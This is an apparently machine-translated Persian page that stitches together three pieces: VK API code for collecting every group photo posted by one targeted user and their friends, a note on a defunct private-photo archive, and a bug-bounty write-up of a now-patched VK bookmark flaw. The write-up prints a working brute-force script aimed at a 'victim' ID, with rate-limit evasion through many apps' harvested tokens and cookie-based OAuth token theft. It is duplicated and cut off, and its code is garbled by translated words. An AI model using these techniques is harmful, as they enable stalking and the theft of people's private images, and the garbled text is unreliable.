نحوه راه اندازی گوشی های هوشمند و رایانه های شخصی. پرتال اطلاعاتی
  • خانه
  • ویندوز 7، XP
  • سرویس عکس خصوصی VKontakte. ویژگی های پنهان VK.API یا جستجوی عکس های خصوصی در VKontakte

سرویس عکس خصوصی VKontakte. ویژگی های پنهان VK.API یا جستجوی عکس های خصوصی در VKontakte

صفحات عمومی زیادی در VKontakte وجود دارد، مانند: 90-60-90، 40 کیلوگرم، دختران ورزشی. در این صفحات عمومی، کاربران عکس هایی از فیگور خود، عکس های «قبل» و «بعد» رژیم غذایی/ورزشی و غیره را منتشر می کنند. مجموع عکس های آلبوم های این گروه ها گاهی از ده ها هزار عکس می گذرد. هنگام ارسال عکس، بسیاری به عواقب آن فکر نمی کنند و ساده لوحانه معتقدند که اگر عکس خود را در هزاران عکس مشابه بیندازند، هیچ کس آن را پیدا نخواهد کرد. در زیر برش، روند جستجوی عکس های یک کاربر خاص در گروه ها توضیح داده شده است.

فرمول بندی مسئله
  1. uid - شناسه کاربر VKontakte
  2. gid - شناسه گروه VKontakte

لازم:

  1. همه عکس‌های کاربر uid منتشر شده در گروه gid را پیدا کنید
  2. تعیین کنید که هر عکس در کدام آلبوم است
VKontakte API

مخاطب روشی برای بازیابی مستقیم عکس های ارسال شده توسط یک کاربر خاص در یک گروه خاص ندارد. با این حال، می توانید با استفاده از طرح زیر به نتیجه دلخواه برسید:
1. فهرستی از آلبوم ها را با استفاده از روش photos.getAlbums دریافت کنید:

VK.api("photos.getAlbums", ( gid: gid), function(result)( if (result.response)( // لیست آلبوم ها در آرایه result.response است // شناسه آلبوم در کمک موجود است field)else( / / دریافت لیست آلبوم ها ناموفق بود) ));

2. با استفاده از روش photos.get لیستی از عکس های آلبوم (کمک) دریافت کنید:

VK.api("photos.get", ( gid: gid, aid: aid), function(result)( if (result.response)( // لیست عکس ها در آرایه result.response است // شناسه صاحب عکس در فیلد موجود است owner_id // شناسه عکس در فیلد pid موجود است )else( // دریافت لیست عکس های آلبوم ناموفق بود) ));

3. آدرس عکس را با استفاده از روش photos.getById دریافت کنید

VK.api("photos.getById", ( عکس: pids ), function(نتیجه)( if(result.response)( for(var i=0; i

چگونه سرعت جستجو را افزایش دهیم؟

مرور همه گروه‌ها فرآیند نسبتاً طولانی است و اجرای آن هر بار که عکس یک شخص خاص را جستجو می‌کنید توصیه نمی‌شود. برای سرعت بخشیدن به جستجو کافی است تمام عکس ها را با افزودن یک فهرست به جدول داخلی ایندکس کنید.
جدول فقط باید شامل 3 فیلد باشد:

  • uid - شناسه کاربر
  • gid - شناسه گروه
  • pid - شناسه عکس

پس از ایندکس کردن گروه ها، فقط کوئری را اجرا کنید

SELECT * از جدول WHERE uid = uid

پیدا کردن عکس دوستان

با استفاده از روش friends.get می‌توانید لیستی از دوستان را دریافت کنید و سپس برای دریافت عکس‌های دوستان در پایگاه داده جستجو کنید:

VK.api("friends.get", ( user_id: uid), function(result)( if(result.response)( // بعد، عکس ها را بر اساس شناسه دوستان جستجو می کنیم) ));

پیوندها
  • وب سایت برای جستجوی عکس: photovk.ru
  • برنامه VKontakte برای جستجوی عکس:

مجموعه عظیمی از عکس های خصوصی در VK (حدود 100 میلیون). این سرویس عکس های همه کاربران شبکه های اجتماعی را جمع آوری می کند. شبکه ها در یک فهرست واحد

پیدا کردن عکس های یک کاربر خاص آسان است - فقط آن را وارد کنید. اما حذف آن دشوار است، اگر از طریق ایمیل به سازندگان بنویسید، شانس کم است، اما اگر کمک مالی کنید، شانس افزایش می یابد.

چگونه انبار گاو عکس ها را در VK جمع آوری می کند؟ این بسیار ساده است: این سرویس به طور خودکار عکس های همه کاربران را به صورت آنلاین در مجموعه آپلود می کند. فرقی نمی کند که عکس خود را در کجا، در یک انجمن یا نمایه پست می کنید. حتی اگر بعد از چند دقیقه عکس پاک شود، از قبل در ایستگاه گاوداری خواهد بود.

بنابراین، بسیاری از کاربران ناراضی به Roskomnadzor روی آوردند که به این امر کمک کرد ایستگاه دام مسدود شددر قلمرو فدراسیون روسیه. دور زدن انسداد امکان پذیر نیست.

جمع آوری و ذخیره سازی اطلاعات شخصی کاربران ممنوع است. اگرچه خود کاربران عکس ها را به صورت عمومی ارسال می کنند.

در حال حاضر سایت کار نمی کندحتی از سرورهای پروکسی مالکان بلافاصله پس از مسدود شدن، کسب و کار را رها کردند. بنابراین می توانید با آرامش بخوابید و از اینکه کسی به عکس های شخصی شما نگاه کند نترسید.

آنالوگ های Skotobaza

در سال 2018آنالوگ های مختلفی مانند "Burn" وجود داشت، اما همه آنها کار نمی کنند، زیرا توسعه دهندگان VKontakte اسکریپت هایی را تغییر دادند که ربات ها را از سرقت عکس های خصوصی منع می کند.

توجه:اینترنت پر است از "آنالوگ" های یک مزرعه گاو، اما نه تنها کار نمی کنند، بلکه باعث می شوند هک حساب! اگر به چنین سایت هایی برخورد کردید، تحت هیچ شرایطی داده ها را از VKontakte وارد نکنید. مهاجمان به حساب کاربری دسترسی پیدا می کنند و می توانند.

دوران دامداری ها و خدمات مشابه به پایان رسیده است. در حال حاضر ذخیره و توزیع عکس های صمیمی و خصوصی ممنوع است. اگر قانون را رعایت نکنید، مجازات در پی خواهد داشت.

tl;dr

یک آسیب‌پذیری در نشانک‌های VK کشف شد که امکان دریافت لینک‌های مستقیم به عکس‌های خصوصی از پیام‌ها و آلبوم‌های شخصی هر کاربر/گروه را فراهم می‌کرد. اسکریپتی نوشته شد که عکس های کاربران را برای مدت مشخصی مرتب می کرد و سپس از طریق این آسیب پذیری، لینک مستقیم تصاویر را دریافت می کرد. به طور خلاصه، می توانید تمام عکس های دیروز خود را در 1 دقیقه، تمام عکس های بارگذاری شده در هفته گذشته در 7 دقیقه، ماه گذشته در 20 دقیقه، سال گذشته در 2 ساعت دریافت کنید. آسیب پذیری در حال حاضر رفع شده است. دولت VKontakte جایزه 10 هزار رای پرداخت کرد.


داستان از زمانی شروع شد که تصویری در یک پیام شخصی در VKontakte برای من ارسال شد. معمولاً اگر چیزی مهم باشد، آن را در فضای ابری آپلود می کنم، اما در مورد من این کار ضروری نبود و تصمیم گرفتم از عملکرد نشانک گذاری VKontakte استفاده کنم.

به طور خلاصه در مورد این قابلیت: همه چیزهایی که کاربر دوست داشته است به نشانک ها اضافه می شود. همچنین عملکردی برای اضافه کردن دستی پیوند به کاربر و پیوند داخلی VKontakte وجود دارد. نکته آخر برای من بسیار جالب به نظر می رسید، زیرا پس از افزودن لینک به عکس، پیش نمایش و متن آن را با نوع موجودیت اضافه شده مشاهده کردم:

هنگامی که یک پیوند اضافه می شود، سرور آن را تجزیه می کند، سعی می کند دریابد که به چه موجودی اشاره می کند و اطلاعات مربوط به این شی را از پایگاه داده بازیابی می کند. به طور معمول، هنگام نوشتن این نوع عملکرد با شرایط بسیار، احتمال اینکه توسعه دهنده چیزی را فراموش کند بسیار زیاد است. بنابراین نمی‌توانستم آن را کنار بگذارم و تصمیم گرفتم چند دقیقه وقت بگذارم تا کمی آزمایش کنم.

در نتیجه موفق شدم چیزی پیدا کنم. با افزودن پیوندی به عکس، یادداشت یا ویدیویی که در دسترس نیست، می‌توانید اطلاعات خصوصی کمی در مورد شی به دست آورید. در مورد عکس‌ها و ویدیوها، این یک پیش‌نمایش کوچک (150x150) است که دیدن چیزی در آن بسیار دشوار است؛ عنوان برای یادداشت‌های خصوصی نمایش داده می‌شود. از طریق روش API fave.getLinksامکان دریافت لینک به تصویر وجود داشت، اما دوباره اندازه آن بسیار کوچک بود (75 پیکسل و 130 پیکسل). بنابراین، اساسا، هیچ چیز جدی نیست.

تصمیم گرفتم به نسخه موبایل سایت بروم تا بررسی کنم که آیا همه چیز در آنجا مانند نسخه معمولی نمایش داده می شود یا خیر. با نگاه کردن به کد صفحه، این را دیدم:

آره! در مقدار ویژگی data-src_bigیک لینک مستقیم به تصویر اصلی وجود دارد!

بنابراین، بدون توجه به اینکه کجا آپلود شده است و چه تنظیمات حریم خصوصی دارد، می توان یک پیوند مستقیم به هر تصویری در VKontakte دریافت کرد. این می تواند تصویری از پیام های شخصی یا عکسی از آلبوم های خصوصی هر کاربر/گروه باشد.

به نظر می‌رسد می‌توانم در آنجا توقف کنم و برای توسعه‌دهندگان بنویسم، اما فکر می‌کردم که آیا می‌توان با سوءاستفاده از این آسیب‌پذیری، به همه عکس‌های کاربر (یا دانلود شده در یک دوره زمانی معین) دسترسی پیدا کرد. مشکل اصلی در اینجا، همانطور که متوجه شدید، این بود که پیوند به یک عکس خصوصی از فرم همیشه مشخص نیست عکسXXXXXX_XXXXXXXXXبرای اضافه کردن به نشانک های خود فکر جستجو در شناسه عکس به ذهنم رسید، اما به دلایلی بلافاصله آن را به عنوان دیوانه رد کردم. من روش‌های مربوط به عکس را در API بررسی کردم، به نحوه عملکرد برنامه با آلبوم‌ها نگاه کردم، اما نتوانستم هیچ اطلاعاتی را پیدا کنم که بتواند به من کمک کند فهرستی با شناسه‌های همه عکس‌های خصوصی کاربر دریافت کنم. من می خواستم از این ایده دست بکشم، اما با نگاهی دوباره به لینک همراه با عکس، ناگهان متوجه شدم که رفتن به دریا ایده خوبی است.

نحوه کار عکس ها در VK

چگونه می توانید جایگزین کنید، پیوند به عکس عکس52708106_359542386از دو بخش تشکیل شده است: (شناسه کاربر)_(عدد عجیب و غریب). قسمت دوم چگونه شکل می گیرد؟

افسوس، پس از صرف دو ساعت آزمایش، من هنوز این را درک نکردم. در سال 2012، در HighLoad++، اولگ ایلاریونوف چند کلمه در مورد نحوه ذخیره عکس ها، در مورد اشتراک گذاری افقی و انتخاب تصادفی سرور برای آپلود گفت، اما این اطلاعات چیزی به من نداد، زیرا هیچ ارتباطی بین شناسه سرور و سرور وجود ندارد. شناسه عکس واضح است که نوعی شمارنده جهانی وجود دارد، اما منطق دیگری در آنجا وجود دارد... زیرا اگر عدد دوم با استفاده از افزایش خودکار معمولی تشکیل می شد، آنگاه مقادیر شناسه های عکس مدت ها پیش به مقادیر بسیار زیادی رسیده بودند. (برای مثال برای فیس بوک، در حال حاضر ~ 700 تریلیون است)، اما برای Vkontakte این مقدار فقط 400 میلیون است (اگرچه، با قضاوت بر اساس آمار، روزانهکاربران بیش از 30 میلیون عکس آپلود می کنند). آن ها واضح است که این رقم منحصر به فرد نیست، اما در عین حال تصادفی نیست. من اسکریپتی نوشتم که عکس‌های کاربران قدیمی را مرور کرد و با استفاده از داده‌های دریافتی، نموداری از میزان تغییر این رقم با هر یک تهیه کردم. سال:

مشاهده می شود که مقادیر بسته به عواملی (تعداد سرورها یا منطق جدید؟) در نوسان هستند. اما نکته این است که آنها به اندازه کافی کوچک هستند (مخصوصاً در 2-3 سال اخیر) و محاسبه محدوده id برای بازه زمانی مورد نظر بسیار آسان است. یعنی برای پیدا کردن لینک‌های مستقیم به عکس‌های یک کاربر، مثلاً از سال گذشته، باید سعی کنید فقط 30 میلیون (از _320000000 تا _350000000) تنوع مختلف لینک را نشانک کنید! در زیر یک تکنیک بروت فورس را توضیح داده‌ام که به من اجازه داد این کار را در عرض چند دقیقه انجام دهم.

مرور عکسها

می توانید همه اینها را به صورت دستی از طریق رابط اضافه کنید یا اسکریپتی بنویسید که یک پیوند به نشانک ها اضافه می کند، اما این کار خسته کننده و وقت گیر خواهد بود. سرعت جستجو در این مورد 3 نشانک در ثانیه خواهد بود، زیرا ارسال بیش از سه درخواست در ثانیه به سرور Vkontakte ممنوع است.

سرعت جستجو x25 را افزایش دهید

برای دور زدن محدودیت 3 درخواست حداقل، تصمیم گرفتم از این روش استفاده کنم اجرا کردن. در یک فراخوانی به این متد، 25 تماس با متدهای API امکان پذیر است.

Var start = parseInt(Args.start); var end = parseInt(Args.end); var viktimaId = Args.id; var link = "http://vk.com/photo" + شناسه قربانی + "_"; while(start != end) ( API.fave.addLink(( "link": link + start )); start = start + 1; );
بنابراین، ما موفق شدیم سرعت بروت فورس را به 3*25 بوکمارک در ثانیه افزایش دهیم. در طول سال گذشته، مرتب کردن عکس‌ها زمان زیادی طول می‌کشید، اما برای دوره‌های کوتاه این روش مرتب‌سازی قبلاً بسیار خوب بود.

سرعت جستجوی x25 * تعداد درخواست های موازی در ثانیه را افزایش می دهیم

محدودیت تعداد درخواست ها/ثانیه برای هر برنامه به طور جداگانه اعمال می شود و نه برای کل کاربر. بنابراین هیچ چیز مانع از ارسال چندین درخواست به صورت موازی، اما در عین حال استفاده از توکن های برنامه های مختلف نمی شود.

ابتدا باید تعداد مورد نیاز برنامه را پیدا کنیم (یا ایجاد کنیم). یک اسکریپت نوشته شده است که برنامه های مستقل را در محدوده معینی از شناسه های برنامه جستجو می کند:

Class StandaloneAppsFinder attr_reader:app_ids def initialize(params) @range = params[:in_range] @app_ids = پایان جستجوی def (@range).each do |app_id| answer = open("https://api.vk.com/method/apps.get?app_id=#(app_id)").خواندن برنامه = JSON.parse(response)["response"] app_ids<< app_id if standalone?(app) end end private def standalone?(app_data) app_data["type"] == "standalone" end end
همچنین امکان انتخاب برنامه ها بر اساس تعداد کاربران برای افزایش سرعت جستجو وجود داشت:

اما من تصمیم گرفتم که با آن کار نکنم.

خوب، برنامه‌ها پیدا شده‌اند، اکنون باید به داده‌های کاربر ما اجازه دهند و توکن‌ها را دریافت کنند. برای مجوز ما مجبور شدیم از مکانیزم جریان ضمنی استفاده کنیم. مجبور شدم URL مجوز را از گفتگوی OAuth تجزیه کنم و رمز را پس از تغییر مسیر بیرون بکشم. این کلاس برای عملکرد به کوکی ها نیاز دارد. p,l(login.vk.com) و ریمیکسید(vk.com):

Class Authenticator attr_reader:access_tokens def initialize(cookie_header) @cookies = ( "Cookie" => cookie_header ) @access_tokens = پایان def autorize_apps(apps) apps.each do |app_id| auth_url = extract_auth_url_from(oauth_page(app_id)) redirect_url = open(auth_url، @cookies).base_uri.to_s access_tokens<< extract_token_from(redirect_url) end end private def extract_auth_url_from(oauth_page_html) Nokogiri::HTML(oauth_page_html).css("form").attr("action").value end def extract_token_from(url) URI(url).fragment end def oauth_page(app_id) open(oauth_page_url(app_id), @cookies).read end def oauth_page_url(app_id) "https://oauth.vk.com/authorize?" + "client_id=#{app_id}&" + "response_type=token&" + "display=mobile&" + "scope=474367" end end
تعداد برنامه های یافت شده برابر با تعداد درخواست های موازی است. برای موازی کردن کل این موضوع، تصمیم گرفته شد که از سنگ Typhoeus استفاده شود که خود را در کارهای دیگر ثابت کرده است. نتیجه یک نیروی بی رحم کوچک مانند این است:

Class PhotosBruteforcer PHOTOS_ID_BY_PERIOD = ( "امروز" => 366300000..366500000، "دیروز" => 366050000..366300000، "current_month" => 360.000.000.000. 360000 000..365000000، "سال_جاری" = > 350000000..366500000، "last_year" => 320000000..350000000 ) def initialize(params) @victim_id = params[:victim_id] @period = PHOTOS_ID_BY_FERIOD:Th. kensIterator = 0 (@period).step(25) |photo_id| url = "https://api.vk.com/method/execute?access_token=#(tokens)&code=#(vkscript(photo_id))" encoded_url = URI.escape(url).gsub("+"، "% 2B").delete("\n") tokensIterator = tokensIterator == tokens.count - 1 ? 0: tokensIterator + 1 hydra.queue Typhoeus::Request.new encoded_url hydra.run if tokensIterator.zero؟ پایان hydra.run مگر اینکه hydra.queued_requests.count.zero؟ پایان خصوصی def vkscript(photo_id)<<-VKScript var start = #{photo_id}; var end = #{photo_id + 25}; var link = "http://vk.com/photo#{@victim_id}" + "_"; while(start != end) { API.fave.addLink({ "link": link + start }); start = start + 1; }; return start; VKScript end end
برای تسریع بیشتر نیروی بی رحم، تلاشی برای خلاص شدن از شر بدن غیر ضروری در پاسخ صورت گرفت، اما سردرخواست سرور VKontakte یک خطا برمی گرداند 501 اجرا نشد.

نسخه نهایی اسکریپت به شکل زیر است:

"nokogiri" به "open-uri" نیاز دارد "typhoeus" به "json" نیاز دارد. apps_finder = StandaloneAppsFinder.new (در محدوده: 4800000..4800500) apps_finder.search # p,l - کوکی‌ها از login.vk.com # remixsid - کوکی از vk.com authenticator = Authenticator.new;" =;" + "remixsid=;") authenticator.authorize_apps(apps_finder.app_ids) bruteforcer.run(authenticator.access_tokens)
پس از اجرای برنامه، بوکمارک ها حاوی تمام عکس های کاربر برای یک دوره معین بودند. تنها چیزی که باقی مانده بود این بود که به نسخه موبایل VKontakte بروید، کنسول مرورگر را باز کنید، لینک های مستقیم را بیرون بکشید و از عکس ها در اندازه اصلی لذت ببرید.

نتایج

به طور کلی، همه چیز به اتصال اینترنت شما و سرعت سرورهای پروکسی، تأخیر سرورهای Vkontakte، قدرت پردازنده و بسیاری از عوامل دیگر بستگی دارد. پس از امتحان اسکریپت بالا در حساب خود، شماره های زیر را دریافت کردم (بدون در نظر گرفتن زمان صرف شده برای دریافت نشانه ها):

جدول میانگین زمان مورد نیاز برای آزمایش شناسه های عکس را در یک دوره معین نشان می دهد. من مطمئن هستم که همه اینها می توانست 10-20 بار تسریع شود. به عنوان مثال، در یک اسکریپت brute force، یک صف بزرگ از تمام درخواست ها و همگام سازی عادی بین آنها ایجاد کنید، زیرا در اجرای من، یک درخواست با مهلت زمانی کل فرآیند را کند می کند. و به طور کلی، شما فقط می توانید چند نمونه را در EC2 خریداری کنید و تمام عکس های هر کاربر را در یک ساعت دریافت کنید. اما من از قبل می خواستم بخوابم.

و به طور کلی، مهم نیست که مهاجم چقدر برای این کار صرف می کند، 5 ساعت یا کل روز، زیرا به هر طریقی او پیوندهایی به تصاویر خصوصی دریافت می کند. توانایی دسترسی ایمن به اطلاعات خصوصی در مدت زمان محدود، تهدید اصلی ناشی از این آسیب‌پذیری است.

گزارش یک آسیب پذیری

در ابتدا این گزارش به خدمات پشتیبانی ارسال شد، اما پس از پاسخی مانند "متشکرم، احتمالاً به نحوی آن را برطرف خواهیم کرد..." و یک هفته انتظار، کمی غمگین شدم. از کمک شما برای تماس مستقیم با توسعه دهندگان بسیار متشکریم. پس از آن، باگ ها در عرض چند ساعت بسته شدند و چند روز بعد دولت پاداشی به مبلغ 10 هزار به حساب من منتقل کرد.

tl;dr

یک آسیب‌پذیری در نشانک‌های VK کشف شد که امکان دریافت لینک‌های مستقیم به عکس‌های خصوصی از پیام‌ها و آلبوم‌های شخصی هر کاربر/گروه را فراهم می‌کرد. اسکریپتی نوشته شد که عکس های کاربران را برای مدت مشخصی مرتب می کرد و سپس از طریق این آسیب پذیری، لینک مستقیم تصاویر را دریافت می کرد. به طور خلاصه، می توانید تمام عکس های دیروز خود را در 1 دقیقه، تمام عکس های بارگذاری شده در هفته گذشته در 7 دقیقه، ماه گذشته در 20 دقیقه، سال گذشته در 2 ساعت دریافت کنید. آسیب پذیری در حال حاضر رفع شده است. دولت VKontakte جایزه 10 هزار رای پرداخت کرد.


داستان از زمانی شروع شد که تصویری در یک پیام شخصی در VKontakte برای من ارسال شد. معمولاً اگر چیزی مهم باشد، آن را در فضای ابری آپلود می کنم، اما در مورد من این کار ضروری نبود و تصمیم گرفتم از عملکرد نشانک گذاری VKontakte استفاده کنم.

به طور خلاصه در مورد این قابلیت: همه چیزهایی که کاربر دوست داشته است به نشانک ها اضافه می شود. همچنین عملکردی برای اضافه کردن دستی پیوند به کاربر و پیوند داخلی VKontakte وجود دارد. نکته آخر برای من بسیار جالب به نظر می رسید، زیرا پس از افزودن لینک به عکس، پیش نمایش و متن آن را با نوع موجودیت اضافه شده مشاهده کردم:

هنگامی که یک پیوند اضافه می شود، سرور آن را تجزیه می کند، سعی می کند دریابد که به چه موجودی اشاره می کند و اطلاعات مربوط به این شی را از پایگاه داده بازیابی می کند. به طور معمول، هنگام نوشتن این نوع عملکرد با شرایط بسیار، احتمال اینکه توسعه دهنده چیزی را فراموش کند بسیار زیاد است. بنابراین نمی‌توانستم آن را کنار بگذارم و تصمیم گرفتم چند دقیقه وقت بگذارم تا کمی آزمایش کنم.

در نتیجه موفق شدم چیزی پیدا کنم. با افزودن پیوندی به عکس، یادداشت یا ویدیویی که در دسترس نیست، می‌توانید اطلاعات خصوصی کمی در مورد شی به دست آورید. در مورد عکس‌ها و ویدیوها، این یک پیش‌نمایش کوچک (150x150) است که دیدن چیزی در آن بسیار دشوار است؛ عنوان برای یادداشت‌های خصوصی نمایش داده می‌شود. از طریق روش API fave.getLinksامکان دریافت لینک به تصویر وجود داشت، اما دوباره اندازه آن بسیار کوچک بود (75 پیکسل و 130 پیکسل). بنابراین، اساسا، هیچ چیز جدی نیست.

تصمیم گرفتم به نسخه موبایل سایت بروم تا بررسی کنم که آیا همه چیز در آنجا مانند نسخه معمولی نمایش داده می شود یا خیر. با نگاه کردن به کد صفحه، این را دیدم:

آره! در مقدار ویژگی data-src_bigیک لینک مستقیم به تصویر اصلی وجود دارد!

بنابراین، بدون توجه به اینکه کجا آپلود شده است و چه تنظیمات حریم خصوصی دارد، می توان یک پیوند مستقیم به هر تصویری در VKontakte دریافت کرد. این می تواند تصویری از پیام های شخصی یا عکسی از آلبوم های خصوصی هر کاربر/گروه باشد.

به نظر می‌رسد می‌توانم در آنجا توقف کنم و برای توسعه‌دهندگان بنویسم، اما فکر می‌کردم که آیا می‌توان با سوءاستفاده از این آسیب‌پذیری، به همه عکس‌های کاربر (یا دانلود شده در یک دوره زمانی معین) دسترسی پیدا کرد. مشکل اصلی در اینجا، همانطور که متوجه شدید، این بود که پیوند به یک عکس خصوصی از فرم همیشه مشخص نیست عکسXXXXXX_XXXXXXXXXبرای اضافه کردن به نشانک های خود فکر جستجو در شناسه عکس به ذهنم رسید، اما به دلایلی بلافاصله آن را به عنوان دیوانه رد کردم. من روش‌های مربوط به عکس را در API بررسی کردم، به نحوه عملکرد برنامه با آلبوم‌ها نگاه کردم، اما نتوانستم هیچ اطلاعاتی را پیدا کنم که بتواند به من کمک کند فهرستی با شناسه‌های همه عکس‌های خصوصی کاربر دریافت کنم. من می خواستم از این ایده دست بکشم، اما با نگاهی دوباره به لینک همراه با عکس، ناگهان متوجه شدم که رفتن به دریا ایده خوبی است.

نحوه کار عکس ها در VK

چگونه می توانید جایگزین کنید، پیوند به عکس عکس52708106_359542386از دو بخش تشکیل شده است: (شناسه کاربر)_(عدد عجیب و غریب). قسمت دوم چگونه شکل می گیرد؟

افسوس، پس از صرف دو ساعت آزمایش، من هنوز این را درک نکردم. در سال 2012، در HighLoad++، اولگ ایلاریونوف چند کلمه در مورد نحوه ذخیره عکس ها، در مورد اشتراک گذاری افقی و انتخاب تصادفی سرور برای آپلود گفت، اما این اطلاعات چیزی به من نداد، زیرا هیچ ارتباطی بین شناسه سرور و سرور وجود ندارد. شناسه عکس واضح است که نوعی شمارنده جهانی وجود دارد، اما منطق دیگری در آنجا وجود دارد... زیرا اگر عدد دوم با استفاده از افزایش خودکار معمولی تشکیل می شد، آنگاه مقادیر شناسه های عکس مدت ها پیش به مقادیر بسیار زیادی رسیده بودند. (برای مثال برای فیس بوک، در حال حاضر ~ 700 تریلیون است)، اما برای Vkontakte این مقدار فقط 400 میلیون است (اگرچه، با قضاوت بر اساس آمار، روزانهکاربران بیش از 30 میلیون عکس آپلود می کنند). آن ها واضح است که این رقم منحصر به فرد نیست، اما در عین حال تصادفی نیست. من اسکریپتی نوشتم که عکس‌های کاربران قدیمی را مرور کرد و با استفاده از داده‌های دریافتی، نموداری از میزان تغییر این رقم با هر یک تهیه کردم. سال:

مشاهده می شود که مقادیر بسته به عواملی (تعداد سرورها یا منطق جدید؟) در نوسان هستند. اما نکته این است که آنها به اندازه کافی کوچک هستند (مخصوصاً در 2-3 سال اخیر) و محاسبه محدوده id برای بازه زمانی مورد نظر بسیار آسان است. یعنی برای پیدا کردن لینک‌های مستقیم به عکس‌های یک کاربر، مثلاً از سال گذشته، باید سعی کنید فقط 30 میلیون (از _320000000 تا _350000000) تنوع مختلف لینک را نشانک کنید! در زیر یک تکنیک بروت فورس را توضیح داده‌ام که به من اجازه داد این کار را در عرض چند دقیقه انجام دهم.

مرور عکسها

می توانید همه اینها را به صورت دستی از طریق رابط اضافه کنید یا اسکریپتی بنویسید که یک پیوند به نشانک ها اضافه می کند، اما این کار خسته کننده و وقت گیر خواهد بود. سرعت جستجو در این مورد 3 نشانک در ثانیه خواهد بود، زیرا ارسال بیش از سه درخواست در ثانیه به سرور Vkontakte ممنوع است.

سرعت جستجو x25 را افزایش دهید

برای دور زدن محدودیت 3 درخواست حداقل، تصمیم گرفتم از این روش استفاده کنم اجرا کردن. در یک فراخوانی به این متد، 25 تماس با متدهای API امکان پذیر است.

Var start = parseInt(Args.start); var end = parseInt(Args.end); var viktimaId = Args.id; var link = "http://vk.com/photo" + شناسه قربانی + "_"; while(start != end) ( API.fave.addLink(( "link": link + start )); start = start + 1; );
بنابراین، ما موفق شدیم سرعت بروت فورس را به 3*25 بوکمارک در ثانیه افزایش دهیم. در طول سال گذشته، مرتب کردن عکس‌ها زمان زیادی طول می‌کشید، اما برای دوره‌های کوتاه این روش مرتب‌سازی قبلاً بسیار خوب بود.

سرعت جستجوی x25 * تعداد درخواست های موازی در ثانیه را افزایش می دهیم

محدودیت تعداد درخواست ها/ثانیه برای هر برنامه به طور جداگانه اعمال می شود و نه برای کل کاربر. بنابراین هیچ چیز مانع از ارسال چندین درخواست به صورت موازی، اما در عین حال استفاده از توکن های برنامه های مختلف نمی شود.

ابتدا باید تعداد مورد نیاز برنامه را پیدا کنیم (یا ایجاد کنیم). یک اسکریپت نوشته شده است که برنامه های مستقل را در محدوده معینی از شناسه های برنامه جستجو می کند:

Class StandaloneAppsFinder attr_reader:app_ids def initialize(params) @range = params[:in_range] @app_ids = پایان جستجوی def (@range).each do |app_id| answer = open("https://api.vk.com/method/apps.get?app_id=#(app_id)").خواندن برنامه = JSON.parse(response)["response"] app_ids<< app_id if standalone?(app) end end private def standalone?(app_data) app_data["type"] == "standalone" end end
همچنین امکان انتخاب برنامه ها بر اساس تعداد کاربران برای افزایش سرعت جستجو وجود داشت:

اما من تصمیم گرفتم که با آن کار نکنم.

خوب، برنامه‌ها پیدا شده‌اند، اکنون باید به داده‌های کاربر ما اجازه دهند و توکن‌ها را دریافت کنند. برای مجوز ما مجبور شدیم از مکانیزم جریان ضمنی استفاده کنیم. مجبور شدم URL مجوز را از گفتگوی OAuth تجزیه کنم و رمز را پس از تغییر مسیر بیرون بکشم. این کلاس برای عملکرد به کوکی ها نیاز دارد. p,l(login.vk.com) و ریمیکسید(vk.com):

Class Authenticator attr_reader:access_tokens def initialize(cookie_header) @cookies = ( "Cookie" => cookie_header ) @access_tokens = پایان def autorize_apps(apps) apps.each do |app_id| auth_url = extract_auth_url_from(oauth_page(app_id)) redirect_url = open(auth_url، @cookies).base_uri.to_s access_tokens<< extract_token_from(redirect_url) end end private def extract_auth_url_from(oauth_page_html) Nokogiri::HTML(oauth_page_html).css("form").attr("action").value end def extract_token_from(url) URI(url).fragment end def oauth_page(app_id) open(oauth_page_url(app_id), @cookies).read end def oauth_page_url(app_id) "https://oauth.vk.com/authorize?" + "client_id=#{app_id}&" + "response_type=token&" + "display=mobile&" + "scope=474367" end end
تعداد برنامه های یافت شده برابر با تعداد درخواست های موازی است. برای موازی کردن کل این موضوع، تصمیم گرفته شد که از سنگ Typhoeus استفاده شود که خود را در کارهای دیگر ثابت کرده است. نتیجه یک نیروی بی رحم کوچک مانند این است:

Class PhotosBruteforcer PHOTOS_ID_BY_PERIOD = ( "امروز" => 366300000..366500000، "دیروز" => 366050000..366300000، "current_month" => 360.000.000.000. 360000 000..365000000، "سال_جاری" = > 350000000..366500000، "last_year" => 320000000..350000000 ) def initialize(params) @victim_id = params[:victim_id] @period = PHOTOS_ID_BY_FERIOD:Th. kensIterator = 0 (@period).step(25) |photo_id| url = "https://api.vk.com/method/execute?access_token=#(tokens)&code=#(vkscript(photo_id))" encoded_url = URI.escape(url).gsub("+"، "% 2B").delete("\n") tokensIterator = tokensIterator == tokens.count - 1 ? 0: tokensIterator + 1 hydra.queue Typhoeus::Request.new encoded_url hydra.run if tokensIterator.zero؟ پایان hydra.run مگر اینکه hydra.queued_requests.count.zero؟ پایان خصوصی def vkscript(photo_id)<<-VKScript var start = #{photo_id}; var end = #{photo_id + 25}; var link = "http://vk.com/photo#{@victim_id}" + "_"; while(start != end) { API.fave.addLink({ "link": link + start }); start = start + 1; }; return start; VKScript end end
برای تسریع بیشتر نیروی بی رحم، تلاشی برای خلاص شدن از شر بدن غیر ضروری در پاسخ صورت گرفت، اما سردرخواست سرور VKontakte یک خطا برمی گرداند 501 اجرا نشد.

نسخه نهایی اسکریپت به شکل زیر است:

"nokogiri" به "open-uri" نیاز دارد "typhoeus" به "json" نیاز دارد. apps_finder = StandaloneAppsFinder.new (در محدوده: 4800000..4800500) apps_finder.search # p,l - کوکی‌ها از login.vk.com # remixsid - کوکی از vk.com authenticator = Authenticator.new;" =;" + "remixsid=;") authenticator.authorize_apps(apps_finder.app_ids) bruteforcer.run(authenticator.access_tokens)
پس از اجرای برنامه، بوکمارک ها حاوی تمام عکس های کاربر برای یک دوره معین بودند. تنها چیزی که باقی مانده بود این بود که به نسخه موبایل VKontakte بروید، کنسول مرورگر را باز کنید، لینک های مستقیم را بیرون بکشید و از عکس ها در اندازه اصلی لذت ببرید.

نتایج

به طور کلی، همه چیز به اتصال اینترنت شما و سرعت سرورهای پروکسی، تأخیر سرورهای Vkontakte، قدرت پردازنده و بسیاری از عوامل دیگر بستگی دارد. پس از امتحان اسکریپت بالا در حساب خود، شماره های زیر را دریافت کردم (بدون در نظر گرفتن زمان صرف شده برای دریافت نشانه ها):

